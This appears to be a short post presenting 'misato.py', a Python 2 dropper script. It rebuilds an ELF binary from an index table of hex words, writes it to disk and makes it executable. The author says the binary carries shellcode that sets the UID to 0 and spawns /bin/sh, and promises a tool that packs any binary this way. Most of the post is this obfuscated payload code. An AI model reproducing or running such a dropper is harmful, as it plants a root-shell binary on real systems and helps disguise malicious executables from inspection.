Binary Loader

misato.py

import binascii
import subprocess

t = [   "0000","005f","0100","015f","0200",
       "0201","0300","0400","0500","056a",
      "0600","0800","0853","0900","0d00",
     "1000","1100","1400","1800","1900",
           "1b00","2000","2100","2900","2e73",
          "2e74","2f62","2f73","31c0","3800",
         "3801","3b0f","3e00","4000","4831",
        "4889","4c46","5057","5101","580f",
              "5f62","5f65","5f73","6000","6100",
             "6174","6200","6564","6578","6848",
            "6873","696e","6a3c","6e64","7274",
           "7373","7400","7461","7472","7800",
                 "7801","796d","7f45","9000",
                "a100","a800","bbff","c1eb",
                      "d248","e6b0","e748" ]
b = [                   62,36,5,2,0,0,0,0,
                       4,32,2,0,59,33,0,0,
                    33,0,0,0,60,0,0,0,0,
                       0,33,29,2,33,8,4,2,
                    0,8,0,0,0,0,0,0,33,0,
                       0,0,33,0,0,64,0,0,
                         0,64,0,0,0,0,21,0,0,
                           34,68,66,26,51,27,49,
                              67,12,35,70,28,37,35,
                                 69,31,9,3,52,39,8,0,0,
                              0,0,0,0,0,0,0,0,0,0,0,0,
                            0,0,0,6,2,59,33,0,0,0,0,0,
                         0,10,0,15,2,59,33,0,0,0,0,
                      0,0,2,0,15,2,64,43,0,0,0,0,
                    0,0,14,0,15,2,64,43,0,0,0,0,
                      0,0,17,0,15,2,65,43,0,0,0,0,
                        0,0,1,40,55,42,57,54,1,47,45,
                         44,41,53,0,24,61,57,46,24,58,
                         57,46,24,50,58,57,46,25,48,
                        56,0,0,0,0,0,0,0,0,0,0,0,0,
                      0,0,0,0,0,0,0,0,0,0,0,0,0,
                    0,0,0,0,0,0,0,0,0,0,20,0,2,
                  0,10,0,0,0,59,33,0,0,59,0,
            0,0,23,0,0,0,0,0,0,0,2,0,0,0,0,0,
        0,0,16,0,6,0,0,0,0,0,0,0,0,0,38,
    0,0,0,22,0,0,0,0,0,0,0,2,0,0,0,0,
  0,0,0,2,0,4,0,0,0,     0,0,0,0,0,0,
65,0,0,0,63,0,0,0,       7,0,4,0,11,0,
0,0,18,0,0,0,13,           0,6,0,0,0,
 0,0,0,0,0,0,                30,0,0,0,19,
 0,0,0,0,0,                    0,0,2,
   0,0,0,                        0,
    0,0,
     0]
m = "misato"
with open(m, 'wb') as f:
        for i in b:
                ds = t[i]
                ww = binascii.a2b_hex(''.join(ds))
                f.write(ww)
subprocess.Popen(['/bin/chmod','+x','misato'])
print "[^0^]"

This is a loader script that reconstructs an ELF binary from an array of hex words using the index values of that array.
The binary it creates is called "misato" and uses a small shellcode exploit to set UID to 0 and spawn /bin/sh.

I'll be putting up a script to create these two arrays from any binary shortly.

There will be further optimizations to compression and packing of binaries to make them as small as possible.